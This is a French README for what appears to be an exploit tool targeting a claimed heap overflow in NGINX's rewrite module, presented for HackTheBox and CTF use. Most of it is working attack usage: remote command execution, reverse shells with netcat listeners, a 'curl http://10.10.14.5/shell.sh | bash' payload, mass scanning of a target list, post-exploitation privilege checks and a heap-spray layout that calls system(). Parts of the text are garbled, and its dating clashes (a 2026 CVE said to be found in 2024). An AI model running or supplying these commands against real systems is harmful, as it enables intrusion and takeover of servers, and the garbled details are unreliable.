
exploit pour CVE-2026-42945
Exploit autonome pour la vulnérabilité de dépassement de tas (heap buffer overflow) dans NGINX découverte en 2024. Cette version est optimisée pour les environnements HackTheBox et CTF où vous ne pouvez pas mettre en place de conteneurs Docker.
CVE-2026-42945 est un dépassement de tas critique dans le ngx_http_rewrite_module de NGINX qui existe depuis 2008 (version 0.6.27). Le bug se produit lorsque :
rewrite contient ? dans le remplacement (définit is_args = 1)set capture une partie de l'URIis_args = 0)is_args = 1)# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd
# Aucun paquet Python supplémentaire nécessaire - utilise uniquement la bibliothèque standard !
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
Cela va :
/api/python3 nginx_rift_helper.py --target 10.10.11.x --all
Cela effectue :
Exécuter une commande :
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
Obtenir un reverse shell :
# Démarrer d'abord le listener (dans un autre terminal)
nc -lvnp 4444
# Lancer l'exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
# Exécuter la commande 'id'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
# Exécuter 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
# Lire /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
# Terminal 1 : Démarrer le listener
nc -lvnp 4444
# Terminal 2 : Lancer l'exploit
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--shell \
--lhost 10.10.14.5 \
--lport 4444 \
--verbose
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--port 8080 \
--cmd "curl http://10.10.14.5/shell.sh | bash" \
--tries 20 \
--verbose
ngx_pool_cleanup_s/api/ avec un URI spécialement conçu qui provoquera un dépassement lors de l'échappementsystem() avec notre commandeL'exploit suppose qu'ASLR est désactivé ou que vous connaissez les adresses. Sur HTB :
Si ASLR est activé, vous devrez peut-être :
La configuration vulnérable nécessite :
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
/api/, /admin/, /internal/Raisons possibles :
ASLR est activé - Les adresses sont randomisées
Version de libc différente - system() à un décalage différent
--verboseVersion non vulnérable - Version corrigée ou configuration différente
WAF/IDS qui bloque - Contrôles de sécurité en place
Mauvais point de terminaison - La combinaison rewrite+set n'est pas utilisée
Utilisez toujours --verbose pour le débogage :
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
Cela affiche :
# Trouver votre IP tun0
ip addr show tun0 | grep inet
# Utiliser cette IP pour --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444
Une fois l'accès initial obtenu :
# Passer à un TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Mettre en arrière-plan et configurer le terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Vérifier l'utilisateur courant
id
whoami
# Rechercher les flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
# Vérifier les permissions sudo
sudo -l
# Vérifier les binaires SUID
find / -perm -4000 2>/dev/null
Si vous devez personnaliser la charge utile :
# Modifier la fonction make_body() dans nginx_rift_htb.py
# Ajuster BODY_LEN pour différentes configurations
# Modifier la chaîne de dépassement (349 'A' + 969 '+')
# Créer une liste de cibles
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25
# Tester chacune d'elles
while read target; do
echo "Test de $target"
python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt
#!/bin/bash
TARGET=$1
LHOST=$2
echo "[*] Démarrage du listener..."
nc -lvnp 4444 &
LISTENER_PID=$!
sleep 2
echo "[*] Lancement de l'exploit..."
python3 nginx_rift_htb.py \
--target $TARGET \
--shell \
--lhost $LHOST \
--lport 4444 \
--verbose
wait $LISTENER_PID
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Définit is_args=1
set $original_endpoint $1; # Alloue en fonction de is_args=0
}
1. POST du spray → Remplit le tas avec de fausses structures de nettoyage
2. GET /api/AAAA...++++...X → Déclenche le dépassement
3. Le dépassement corrompt le pointeur de nettoyage du pool adjacent
4. Pool détruit → Appelle system(cmd)
[Corps du Heap Spray - 4000 octets]
+0: system_addr (8 octets)
+8: data_addr (8 octets)
+16: next (8 octets, NULL)
+24: command_string (variable)
+reste : remplissage 'A'
Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement. L'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est illégal. L'auteur décline toute responsabilité en cas de mauvaise utilisation.
À des fins éducatives/de recherche uniquement. Utilisez de manière responsable.